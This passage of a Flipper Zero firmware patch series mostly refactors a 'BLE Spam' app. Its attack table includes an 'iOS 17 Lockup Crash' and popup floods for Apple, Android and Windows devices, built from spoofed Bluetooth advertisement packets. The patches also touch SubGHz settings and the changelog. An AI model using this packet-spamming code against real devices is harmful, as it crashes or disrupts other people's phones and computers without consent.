requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; case SubmenuIndexSecPlus_v1_315_00: generated_protocol = subghz_txrx_gen_secplus_v1_protocol(subghz->txrx, "AM650", 315000000); From 53245986ab2499703701fb9023a6575f0157da0a Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 16 Oct 2023 05:29:23 +0300 Subject: [PATCH 06/56] Remove migration, not needed anymore --- .../system/storage_move_to_sd/storage_move_to_sd.c | 8 -------- 1 file changed, 8 deletions(-) diff --git a/applications/system/storage_move_to_sd/storage_move_to_sd.c b/applications/system/storage_move_to_sd/storage_move_to_sd.c index 5aaacd736..4a0f3f4ad 100644 --- a/applications/system/storage_move_to_sd/storage_move_to_sd.c +++ b/applications/system/storage_move_to_sd/storage_move_to_sd.c @@ -28,14 +28,6 @@ static void storage_move_to_sd_remove_region() { if(storage_common_exists(storage, INT_PATH(".region_data"))) { storage_common_remove(storage, INT_PATH(".region_data")); } - if(storage_common_exists(storage, EXT_PATH("apps/Misc/totp.conf"))) { - storage_common_rename( - storage, EXT_PATH("apps/Misc/totp.conf"), EXT_PATH("authenticator/totp.conf")); - } - if(storage_common_exists(storage, EXT_PATH("apps/Misc/barcodegen.save"))) { - storage_common_remove(storage, EXT_PATH("apps/Misc/barcodegen.save")); - storage_common_remove(storage, EXT_PATH("apps/Misc")); - } furi_record_close(RECORD_STORAGE); } From 8b8174b1b41bca235011dc9a7d5fcdbd8a0835c3 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 16 Oct 2023 06:05:55 +0300 Subject: [PATCH 07/56] upd changelog --- CHANGELOG.md | 33 ++++++++------------------------- 1 file changed, 8 insertions(+), 25 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b0a3c0d05..597fcd514 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,29 +1,12 @@ ## New changes -**Summary: BLE Core2 (Copro) crashes should be fixed with this update, Apple BLE Spam app and other apps updated to the latest versions, NFC file sort crashes has been fixed, other fixes and improvements see below:** -* SubGHz: Nice Flor S - added custom button code 0x3 -* NFC: Fixes out of memory crash if we open folder with more than 300 files in it -* LF RFID: Fixed logic in `t5577_write_with_pass` (by @baugp | PR #612) -* Infrared: Updated universal assets (by @amec0e | PR #607 #619) -* **Apple BLE Spam app** updated to latest version (by @Willy-JL) -> (app can be found in builds ` `, `e`, `n`, `r`) -* OFW: Fix spelling across some project files -* OFW: CCID: Support PC To Reader Transfer Block data -* OFW: Firmware: bigger thread name storage. Notification app: better BacklightEnforce edge cases handling. -* OFW: Lib: update stm32wb_copro to 1.17.3 release -* OFW: FuriHal ble: length fix for fw version prop -* OFW: add documentation SubGhz Bin_RAW file format -* OFW: fbt: glob improvements -* OFW: HEX input UI improvements -* OFW: Ble: fix null-ptr dereference in bt_change_profile -* OFW: Add the coding in the shell animation -* OFW: FuriHal,BleGlue: prevent sleep while HCI command executed, proper bt api rpc locking. Fixes random system lockups. -* OFW: fbt: reworked tool path handling -* OFW: Gui: handle view port lockup and notify developer about it -* OFW: Added `fal_embedded` parameter for PLUGIN apps -* OFW: Fix multiline aligned text going out of bounds (again) -* OFW: Add Initial CCID support -* OFW: Add confirmation before exiting USB-UART -* OFW: Add extended I2C HAL functions -> **Breaking API change 38.x -> 39.x** -* OFW: New clock switch schema, **fixes random core2 crashes** +* SubGHz: Add 4 more systems to Add Manually (untested!) +* SubGHz: Add Manually fixes +* Misc code cleanup +* RGB: Fix white color on reboot, move settings, add custom color option +* **BLE Spam app** updated to latest version (Android, Windows support) (by @Willy-JL) -> (app can be found in builds ` `, `e`, `n`, `r`) +* OFW: Fix double arrows and add proper indication +* OFW: SubGHz: add manually fix 12-bits is 0xFFF (or 0xFF0) CAME/NICE 12-bit +* OFW: Fix various crashes if debug libraries used ---- From 42ee5f252c5eeea72726e4b72f4ef8be77963a70 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 16 Oct 2023 13:55:33 +0100 Subject: [PATCH 08/56] BLE Spam refactor config structures --nobuild --- applications/external/ble_spam/ble_spam.c | 46 +++++++++---------- .../external/ble_spam/protocols/_base.h | 6 +-- .../external/ble_spam/protocols/_registry.h | 13 ++++-- .../external/ble_spam/protocols/continuity.c | 34 +++++++------- .../external/ble_spam/protocols/continuity.h | 2 +- .../external/ble_spam/protocols/fastpair.c | 18 ++++---- .../external/ble_spam/protocols/fastpair.h | 2 +- .../external/ble_spam/protocols/swiftpair.c | 18 ++++---- .../external/ble_spam/protocols/swiftpair.h | 2 +- 9 files changed, 71 insertions(+), 70 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index e0af2bfdd..ce6aabe28 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -11,37 +11,32 @@ // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -typedef struct { - bool random_mac; - const BleSpamProtocol* protocol; - BleSpamMsg msg; -} Payload; - typedef struct { const char* title; const char* text; - Payload payload; + const BleSpamProtocol* protocol; + BleSpamPayload payload; } Attack; static Attack attacks[] = { { .title = "+ Kitchen Sink", .text = "Flood all attacks at once", + .protocol = NULL, .payload = { .random_mac = true, - .protocol = NULL, - .msg = {}, + .cfg = {}, }, }, { .title = "iOS 17 Lockup Crash", .text = "Newer iPhones, long range", + .protocol = &ble_spam_protocol_continuity, .payload = { .random_mac = false, - .protocol = &ble_spam_protocol_continuity, - .msg = + .cfg = { .continuity = { @@ -54,11 +49,11 @@ static Attack attacks[] = { { .title = "Apple Action Modal", .text = "Lock cooldown, long range", + .protocol = &ble_spam_protocol_continuity, .payload = { .random_mac = false, - .protocol = &ble_spam_protocol_continuity, - .msg = + .cfg = { .continuity = { @@ -71,11 +66,11 @@ static Attack attacks[] = { { .title = "Apple Device Popup", .text = "No cooldown, close range", + .protocol = &ble_spam_protocol_continuity, .payload = { .random_mac = false, - .protocol = &ble_spam_protocol_continuity, - .msg = + .cfg = { .continuity = { @@ -88,11 +83,11 @@ static Attack attacks[] = { { .title = "Android Device Pair", .text = "Reboot cooldown, long range", + .protocol = &ble_spam_protocol_fastpair, .payload = { .random_mac = true, - .protocol = &ble_spam_protocol_fastpair, - .msg = + .cfg = { .fastpair = {}, }, @@ -101,11 +96,11 @@ static Attack attacks[] = { { .title = "Windows Device Found", .text = "Requires enabling SwiftPair", + .protocol = &ble_spam_protocol_swiftpair, .payload = { .random_mac = true, - .protocol = &ble_spam_protocol_swiftpair, - .msg = + .cfg = { .swiftpair = {}, }, @@ -131,12 +126,13 @@ static int32_t adv_thread(void* ctx) { uint16_t delay; uint8_t* packet; uint8_t mac[GAP_MAC_ADDR_SIZE]; - Payload* payload = &attacks[state->index].payload; + BleSpamPayload* payload = &attacks[state->index].payload; + const BleSpamProtocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); while(state->advertising) { - if(payload->protocol) { - payload->protocol->make_packet(&size, &packet, &payload->msg); + if(protocol) { + protocol->make_packet(&size, &packet, &payload->cfg); } else { ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( &size, &packet, NULL); @@ -200,8 +196,8 @@ static void draw_callback(Canvas* canvas, void* ctx) { const Attack* attack = (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const Payload* payload = &attack->payload; - const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL; + const BleSpamPayload* payload = &attack->payload; + const BleSpamProtocol* protocol = attack->protocol; canvas_set_font(canvas, FontSecondary); canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); @@ -290,7 +286,7 @@ static void draw_callback(Canvas* canvas, void* ctx) { "%02i/%02i: %s", state->index + 1, ATTACK_COUNT, - protocol ? protocol->get_name(&payload->msg) : "Everything"); + protocol ? protocol->get_name(&payload->cfg) : "Everything"); canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); canvas_set_font(canvas, FontPrimary); diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index d3fbe98ff..fb59ee5b5 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -8,10 +8,10 @@ #include #include -typedef union BleSpamMsg BleSpamMsg; +typedef union BleSpamProtocolCfg BleSpamProtocolCfg; typedef struct { const Icon* icon; - const char* (*get_name)(const BleSpamMsg* _msg); - void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg); + const char* (*get_name)(const BleSpamProtocolCfg* _cfg); + void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg); } BleSpamProtocol; diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h index 69070c356..cca571a5b 100644 --- a/applications/external/ble_spam/protocols/_registry.h +++ b/applications/external/ble_spam/protocols/_registry.h @@ -4,12 +4,17 @@ #include "fastpair.h" #include "swiftpair.h" -union BleSpamMsg { - ContinuityMsg continuity; - FastpairMsg fastpair; - SwiftpairMsg swiftpair; +union BleSpamProtocolCfg { + ContinuityCfg continuity; + FastpairCfg fastpair; + SwiftpairCfg swiftpair; }; extern const BleSpamProtocol* ble_spam_protocols[]; extern const size_t ble_spam_protocols_count; + +typedef struct { + bool random_mac; + BleSpamProtocolCfg cfg; +} BleSpamPayload; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index ac0a2aa00..b52f45a5f 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -16,9 +16,9 @@ static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Custom Packet", }; -const char* continuity_get_name(const BleSpamMsg* _msg) { - const ContinuityMsg* msg = &_msg->continuity; - return type_names[msg->type]; +const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) { + const ContinuityCfg* cfg = &_cfg->continuity; + return type_names[cfg->type]; } #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size @@ -33,12 +33,12 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; -void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { - const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL; +void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { + const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; ContinuityType type; - if(msg) { - type = msg->type; + if(cfg) { + type = cfg->type; } else { const ContinuityType types[] = { ContinuityTypeProximityPair, @@ -85,8 +85,8 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp case ContinuityTypeProximityPair: { uint16_t model; - if(msg && msg->data.proximity_pair.model != 0x0000) { - model = msg->data.proximity_pair.model; + if(cfg && cfg->data.proximity_pair.model != 0x0000) { + model = cfg->data.proximity_pair.model; } else { const uint16_t models[] = { 0x0E20, // AirPods Pro @@ -113,8 +113,8 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp } uint8_t prefix; - if(msg && msg->data.proximity_pair.prefix == 0x00) { - prefix = msg->data.proximity_pair.prefix; + if(cfg && cfg->data.proximity_pair.prefix == 0x00) { + prefix = cfg->data.proximity_pair.prefix; } else { if(model == 0x0055 || model == 0x0030) prefix = 0x05; @@ -176,8 +176,8 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp case ContinuityTypeNearbyAction: { uint8_t action; - if(msg && msg->data.nearby_action.type != 0x00) { - action = msg->data.nearby_action.type; + if(cfg && cfg->data.nearby_action.type != 0x00) { + action = cfg->data.nearby_action.type; } else { const uint8_t actions[] = { 0x13, // AppleTV AutoFill @@ -197,8 +197,8 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp } uint8_t flag; - if(msg && msg->data.nearby_action.flags != 0x00) { - flag = msg->data.nearby_action.flags; + if(cfg && cfg->data.nearby_action.flags != 0x00) { + flag = cfg->data.nearby_action.flags; } else { flag = 0xC0; if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' @@ -265,8 +265,8 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp break; } - *out_size = size; - *out_packet = packet; + *_size = size; + *_packet = packet; } const BleSpamProtocol ble_spam_protocol_continuity = { diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index 7e97f8425..e40d3525e 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -31,6 +31,6 @@ typedef struct { uint8_t type; } nearby_action; } data; -} ContinuityMsg; +} ContinuityCfg; extern const BleSpamProtocol ble_spam_protocol_continuity; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8f329492e..1c06f68e6 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,18 +4,18 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const BleSpamMsg* _msg) { - const FastpairMsg* msg = &_msg->fastpair; - UNUSED(msg); +const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) { + const FastpairCfg* cfg = &_cfg->fastpair; + UNUSED(cfg); return "FastPair"; } -void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { - const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL; +void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { + const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; uint32_t model_id; - if(msg && msg->model_id != 0x000000) { - model_id = msg->model_id; + if(cfg && cfg->model_id != 0x000000) { + model_id = cfg->model_id; } else { const uint32_t models[] = { // Genuine devices @@ -57,8 +57,8 @@ void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpam packet[i++] = 0x0A; // AD Type (Tx Power Level) packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm - *out_size = size; - *out_packet = packet; + *_size = size; + *_packet = packet; } const BleSpamProtocol ble_spam_protocol_fastpair = { diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 6555d0b6b..46162fbc5 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -6,6 +6,6 @@ typedef struct { uint32_t model_id; -} FastpairMsg; +} FastpairCfg; extern const BleSpamProtocol ble_spam_protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 26ea203e4..60d8808d4 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -4,18 +4,18 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const BleSpamMsg* _msg) { - const SwiftpairMsg* msg = &_msg->swiftpair; - UNUSED(msg); +const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) { + const SwiftpairCfg* cfg = &_cfg->swiftpair; + UNUSED(cfg); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { - const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL; +void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { + const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; const char* display_name; - if(msg && msg->display_name[0] != '\0') { - display_name = msg->display_name; + if(cfg && cfg->display_name[0] != '\0') { + display_name = cfg->display_name; } else { const char* names[] = { "Assquach💦", @@ -43,8 +43,8 @@ void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpa memcpy(&packet[i], display_name, display_name_len); // Display Name i += display_name_len; - *out_size = size; - *out_packet = packet; + *_size = size; + *_packet = packet; } const BleSpamProtocol ble_spam_protocol_swiftpair = { diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index 5ded8ebf8..c3ef21540 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -6,6 +6,6 @@ typedef struct { char display_name[25]; -} SwiftpairMsg; +} SwiftpairCfg; extern const BleSpamProtocol ble_spam_protocol_swiftpair; From 31f0437353f1907e15be644dd2b66c0c6fbe44c1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 16 Oct 2023 15:58:28 +0100 Subject: [PATCH 09/56] BLE Spam fix null pointer on credits / help pages --- applications/external/ble_spam/ble_spam.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index ce6aabe28..931bd9505 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -196,8 +196,8 @@ static void draw_callback(Canvas* canvas, void* ctx) { const Attack* attack = (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const BleSpamPayload* payload = &attack->payload; - const BleSpamProtocol* protocol = attack->protocol; + const BleSpamPayload* payload = attack ? &attack->payload : NULL; + const BleSpamProtocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); From 1e5223c6ab1759e83f86039cf688ed994b72488f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 17 Oct 2023 00:46:59 +0300 Subject: [PATCH 10/56] nice one is disabled too --- .../main/subghz/scenes/subghz_scene_receiver_config.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index 8b7d82193..579218bd3 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -451,7 +451,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore NiceFloRS", + "Ignore NiceFlorS / Nice One", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_niceflors, subghz); @@ -465,7 +465,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { // Enable speaker, will send all incoming noises and signals to speaker so you can listen how your remote sounds like :) item = variable_item_list_add( subghz->variable_item_list, - "Sound:", + "Sound", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_speaker, subghz); From 5da214f6395b1e2fc7b07df3b96c87e66c663d0d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 16 Oct 2023 16:07:57 +0100 Subject: [PATCH 11/56] BLE Spam FastPair add Sony XM5 and more customs Thanks noproto and Neon_Cat! --- applications/external/ble_spam/protocols/fastpair.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 1c06f68e6..38759a623 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -24,14 +24,19 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc 0x718FA4, // JBL Live 300TWS 0x821F66, // JBL Flip 6 0x92BBBD, // Pixel Buds + 0xD446A7, // Sony XM5 // Custom debug popups - 0xAA1FE1, // ClownMaster - 0xAA187F, // VBucks + 0xD99CA1, // Flipper Zero + 0x77FF67, // Free Robux + 0xAA187F, // Free VBucks + 0xDCE9EA, // Rickroll + 0x87B25F, // Animated Rickroll 0xF38C02, // Boykisser 0x1448C9, // BLM 0xD5AB33, // Xtreme 0x13B39D, // Talking Sasquach + 0xAA1FE1, // ClownMaster }; model_id = models[rand() % COUNT_OF(models)]; } From 133397cb028663c951cdc564a3eb6636b96a4857 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 17 Oct 2023 01:59:05 +0100 Subject: [PATCH 12/56] FURI_TRACE (useful furi_check() crashes) --nobuild --- furi/core/check.c | 2 ++ furi/core/check.h | 7 +++++++ 2 files changed, 9 insertions(+) diff --git a/furi/core/check.c b/furi/core/check.c index 8888eddfb..a24384e7c 100644 --- a/furi/core/check.c +++ b/furi/core/check.c @@ -136,10 +136,12 @@ FURI_NORETURN void __furi_crash() { if(__furi_check_message == NULL) { __furi_check_message = "Fatal Error"; +#ifndef __FURI_TRACE } else if(__furi_check_message == (void*)__FURI_ASSERT_MESSAGE_FLAG) { __furi_check_message = "furi_assert failed"; } else if(__furi_check_message == (void*)__FURI_CHECK_MESSAGE_FLAG) { __furi_check_message = "furi_check failed"; +#endif } furi_hal_console_puts("\r\n\033[0;31m[CRASH]"); diff --git a/furi/core/check.h b/furi/core/check.h index 004422e80..8af418962 100644 --- a/furi/core/check.h +++ b/furi/core/check.h @@ -23,9 +23,16 @@ extern "C" { #define FURI_NORETURN noreturn #endif +#define __FURI_TRACE + // Flags instead of pointers will save ~4 bytes on furi_assert and furi_check calls. +#ifndef __FURI_TRACE #define __FURI_ASSERT_MESSAGE_FLAG (0x01) #define __FURI_CHECK_MESSAGE_FLAG (0x02) +#else +#define __FURI_ASSERT_MESSAGE_FLAG __FILE__ +#define __FURI_CHECK_MESSAGE_FLAG __FILE__ +#endif /** Crash system */ FURI_NORETURN void __furi_crash(); From cb14157c801d7071cb636ff1548bfce89980540a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 17 Oct 2023 03:33:10 +0100 Subject: [PATCH 13/56] Fix build --- applications/main/subghz/subghz_last_settings.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/main/subghz/subghz_last_settings.c b/applications/main/subghz/subghz_last_settings.c index dc0a08234..eaa4c1d48 100644 --- a/applications/main/subghz/subghz_last_settings.c +++ b/applications/main/subghz/subghz_last_settings.c @@ -314,7 +314,7 @@ void subghz_last_settings_log(SubGhzLastSettings* instance) { TAG, "Frequency: %03ld.%02ld, FeedbackLevel: %ld, FATrigger: %.2f, External: %s, ExtPower: %s, TimestampNames: %s, ExtPowerAmp: %s,\n" "GPSBaudrate: %ld, Hopping: %s,\nPreset: %ld, RSSI: %.2f, " - "Starline: %s, Cars: %s, Magellan: %s, NiceFloR-S: %s, BinRAW: %s", + "Starline: %s, Cars: %s, Magellan: %s, NiceFloR-S: %s, Weather: %s, TPMS: %s, BinRAW: %s", instance->frequency / 1000000 % 1000, instance->frequency / 10000 % 100, instance->frequency_analyzer_feedback_level, From 83c8aad87ac5a7132c2ee63f46cfac55fd493ceb Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 17 Oct 2023 04:10:36 +0100 Subject: [PATCH 14/56] Proper SubGhz ignore system (fix BusFault in apps) Old ignore system used SubGhzProtocolFlag_* This enum was saturated, and started taking more bytes than on OFW This caused BusFault when using apps compiled for OFW, like from catalog Crash is because of incompatible memory structure New ignore system uses own enum at end of struct This is binary compatible with OFW and correct solution for future --- .../scenes/subghz_scene_receiver_config.c | 37 ++++++++++--------- applications/main/subghz/subghz_i.h | 2 +- .../main/subghz/subghz_last_settings.c | 17 +++++---- lib/subghz/protocols/acurite_592txr.c | 6 ++- lib/subghz/protocols/acurite_606tx.c | 4 +- lib/subghz/protocols/acurite_609txc.c | 4 +- lib/subghz/protocols/ambient_weather.c | 4 +- lib/subghz/protocols/auriol_ahfl.c | 6 ++- lib/subghz/protocols/auriol_hg0601a.c | 4 +- lib/subghz/protocols/gt_wt_02.c | 4 +- lib/subghz/protocols/gt_wt_03.c | 4 +- lib/subghz/protocols/infactory.c | 4 +- lib/subghz/protocols/kia.c | 5 ++- lib/subghz/protocols/lacrosse_tx.c | 4 +- lib/subghz/protocols/lacrosse_tx141thbv2.c | 4 +- lib/subghz/protocols/magellan.c | 5 ++- lib/subghz/protocols/nexus_th.c | 4 +- lib/subghz/protocols/nice_flor_s.c | 4 +- lib/subghz/protocols/oregon2.c | 4 +- lib/subghz/protocols/oregon3.c | 4 +- lib/subghz/protocols/oregon_v1.c | 4 +- lib/subghz/protocols/princeton.c | 4 +- lib/subghz/protocols/scher_khan.c | 4 +- lib/subghz/protocols/schrader_gg4.c | 5 ++- lib/subghz/protocols/star_line.c | 5 ++- lib/subghz/protocols/thermopro_tx4.c | 4 +- lib/subghz/protocols/tx_8300.c | 4 +- lib/subghz/protocols/wendox_w6726.c | 4 +- lib/subghz/types.h | 20 ++++++---- 29 files changed, 119 insertions(+), 65 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index ff6bbab9a..4b88ffe5f 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -71,8 +71,9 @@ const char* const combobox_text[COMBO_BOX_COUNT] = { "ON", }; -static void - subghz_scene_receiver_config_set_ignore_filter(VariableItem* item, SubGhzProtocolFlag filter) { +static void subghz_scene_receiver_config_set_ignore_filter( + VariableItem* item, + SubGhzProtocolFilter filter) { SubGhz* subghz = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); @@ -265,36 +266,36 @@ static void subghz_scene_receiver_config_set_raw_threshold_rssi(VariableItem* it } static inline bool subghz_scene_receiver_config_ignore_filter_get_index( - SubGhzProtocolFlag filter, - SubGhzProtocolFlag flag) { + SubGhzProtocolFilter filter, + SubGhzProtocolFilter flag) { return READ_BIT(filter, flag) > 0; } static void subghz_scene_receiver_config_set_starline(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_StarLine); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_StarLine); } static void subghz_scene_receiver_config_set_auto_alarms(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_AutoAlarms); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_AutoAlarms); } static void subghz_scene_receiver_config_set_magellan(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_Magellan); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_Magellan); } static void subghz_scene_receiver_config_set_princeton(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_Princeton); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_Princeton); } static void subghz_scene_receiver_config_set_niceflors(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_NiceFlorS); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_NiceFlorS); } static void subghz_scene_receiver_config_set_weather(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_Weather); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_Weather); } static void subghz_scene_receiver_config_set_tpms(VariableItem* item) { - subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_TPMS); + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFilter_TPMS); } static void subghz_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) { @@ -424,7 +425,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_StarLine); + subghz->ignore_filter, SubGhzProtocolFilter_StarLine); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); @@ -436,7 +437,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_AutoAlarms); + subghz->ignore_filter, SubGhzProtocolFilter_AutoAlarms); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); @@ -448,7 +449,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_Magellan); + subghz->ignore_filter, SubGhzProtocolFilter_Magellan); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); @@ -460,7 +461,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz); value_index = subghz_scene_receiver_config_ignore_filter_get_index( - subghz->ignore_filter, SubGhzProtocolFlag_Princeton); + subghz->ignore_filter, SubGhzProtocolFilter_Princeton); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, 